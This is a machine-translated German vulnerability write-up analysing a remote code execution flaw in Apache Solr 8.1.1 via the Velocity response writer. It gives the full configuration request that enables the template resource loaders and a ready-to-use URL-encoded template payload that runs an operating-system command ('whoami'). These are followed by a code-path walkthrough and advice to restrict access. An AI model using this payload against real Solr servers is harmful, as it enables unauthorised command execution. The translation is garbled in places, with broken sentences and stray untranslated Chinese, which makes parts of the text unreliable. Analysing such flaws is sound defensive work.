Eine RCE-0day-Schwachstelle wurde in Apache Solr entdeckt (die Schwachstellennummer wird nicht angegeben). Hier reproduzieren wir einfach das Objekt und analysieren den gesamten RCE-Prozess als Referenz.
Reproduktionsversion: 8.1.1
Zur Implementierung von RCE sind zunächst zwei Schritte erforderlich: Bestätigen Sie zunächst, dass die Anwendung einen bestimmten Kern aktiviert hat (kann in Core Admin angezeigt werden), und die Anwendung in der Instanz hat mycore aktiviert.
Dann senden Sie zuerst die folgenden JSON-Daten an seine Konfigurationsschnittstelle,
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
Dann besuchen Sie die folgende URL, um RCE zu implementieren,
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Analysieren Sie zuerst das erste Datenpaket, weil Da es sich um eine Mycore-Konfiguration handelt, setzen wir zunächst den Haltepunkt für die handleRequestBody-Funktion von SolrConfigHandler, der die Konfigurationsanforderung verarbeitet. Da es sich um eine POST-Anfrage handelt, folgen Sie der Funktion handlePOST. Nehmen Sie zuerst heraus mycore Die aktuelle Konfiguration wird gleichzeitig mit der von uns gesendeten Konfiguration in die Funktion handleCommands übernommen. In nachfolgenden Vorgängen wird schließlich die Funktion addNamedPlugin eingegeben und ein VelocityResponseWriter-Objekt mit solr.resource.loader.enabled und Parametern erstellt. Ressource: Der Wert von „loader.enabled“ ist auf „true“ gesetzt und der Name des Objekts ist „Velocity“.
Wenn dann das zweite Datenpaket gesendet wird und der ResponseWriter in HttpSolrCall.call abgerufen wird, wird das ResponseWriter-Objekt entsprechend dem Wert des Parameters wt abgerufen. Wenn wt die Geschwindigkeit ist, erhalten wir das sorgfältig konfigurierte Objekt Nach einer Reihe nachfolgender Aufrufe ruft VelocityResponseWriter
schließlich die VelocityResponseWriter.write-Funktion auf, die in unserer Schwachstelle am schwerwiegendsten ist. Zunächst wird die Funktion „createEngine“ aufgerufen, um eine schädliche Vorlage mit „custom.vrm“ zu generieren. >payload.engine,
Die schädliche Vorlage wird in params.resource.loader.instance und solr.resource.loader.instance der OverridingProperties der Engine platziert
Hier gibt es einen sehr wichtigen Punkt, wenn Sie möchten die schädliche Vorlage erstellen. Geben Sie params.resource.loader.instance und solr.resource.loader.instance ein. Sie müssen sicherstellen, dass paramsResourceLoaderEnabled und solrResourceLoaderEnabled True sind. Dies ist, was unser erstes Datenpaket tut,
und dann erhält VelocityResponseWriter. getTemplate die bösartige Vorlage, die wir basierend auf dem von uns übermittelten v.template-Parameter erstellt haben.
Schließlich haben wir die bösartige Vorlage herausgenommen und ihre Zusammenführungsmethode aufgerufen Ich muss es verstehen Velocity Java-Vorlagen-Engine (da diese Vorlage ein org.apache.velocity.Template-Klassenobjekt ist), wird die offizielle Aussage wie folgt übersetzt:
Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
Aus dieser Aussage können wir ersehen, dass diese Vorlagen-Engine die Funktion hat Wir müssen nur die grundlegende Schreibmethode verstehen.
// 变量定义 #set($name =“velocity”) // 变量赋值 #set($foo = $bar) // 函数调用 #set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) // 循环语法 #foreach($element in $list) This is $element $velocityCount #end // 执行模板 template.merge(context, writer);
Derzeit ist der offizielle Patch nicht verfügbar. Es wird empfohlen, den Zugriff auf Solr einzuschränken.
Das obige ist der detaillierte Inhalt vonSo analysieren Sie die neueste RCE-Schwachstelle in Apache Solr. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!